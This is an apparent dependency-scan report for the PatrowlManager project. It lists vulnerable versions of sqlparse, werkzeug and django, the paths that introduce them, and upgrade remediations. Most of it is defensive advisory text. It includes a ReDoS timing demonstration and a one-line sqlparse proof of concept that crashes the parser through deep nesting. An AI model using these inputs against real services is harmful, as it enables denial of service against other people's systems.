  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using an inefficient pattern which can cause excessive backtracking, leading to performance degradation.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sqlparse to version 0.4.4 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@2.2.26 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion due to the parsing of heavily nested lists. An attacker can cause the application to crash by submitting a specially crafted list that triggers a RecursionError.

Note: The impact depends on the use, so anyone parsing a user input with sqlparse.parse() is affected.

PoC


import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

Remediation

Upgrade sqlparse to version 0.5.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.2.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data. An attacker can trigger the opening of multipart files containing a large number of file parts, which are processed using request.data, request.form, request.files, or request.get_data(parse_form_data=False), consuming CPU, memory, or file handles resources. The amount of CPU time required can block worker processes from handling other requests. The amount of RAM required can trigger an out-of-memory and crash the process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade werkzeug to version 2.2.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.3.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.

The demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.

Remediation

Upgrade werkzeug to version 3.0.3 or higher.

References

high severity

Command Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.17.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Command Injection via certain inputs containing large sequences of nested incomplete HTML entities submitted to the strip_tags function and striptags template filter. An attacker can cause the application to consume excessive resources.

Remediation

Upgrade django to version 4.2.17, 5.0.10, 5.1.4 or higher.

References

high severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.24.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection in the FilteredRelation class when a specially crafted dictionary is used with dictionary expansion as the **kwargs passed to QuerySet.annotate or QuerySet.alias. An attacker can execute arbitrary SQL commands by supplying malicious input to these parameters.

Remediation

Upgrade Django to version 4.2.24, 5.1.12, 5.2.6 or higher.

References

high severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.27.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the FilteredRelation column aliases. When a malicious dictionary expansion is passed in as the **kwargs argument to QuerySet.annotate() or QuerySet.alias() on PostgreSQL, its contents can be used to execute SQL.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

high severity

Reflected File Download (RFD)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.15.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Reflected File Download (RFD) as it is possible to set the Content-Disposition header of a FileResponse when the filename is derived from user-supplied input.

Remediation

Upgrade django to version 3.2.15, 4.0.7, 4.1 or higher.

References

high severity

GPL-3.0 license

  • Module: libmagic
  • Introduced through: libmagic@1.0

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce libmagic@1.0

GPL-3.0 license

high severity

AGPL-3.0 license

  • Module: thehive4py
  • Introduced through: thehive4py@1.8.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1

AGPL-3.0 license

medium severity

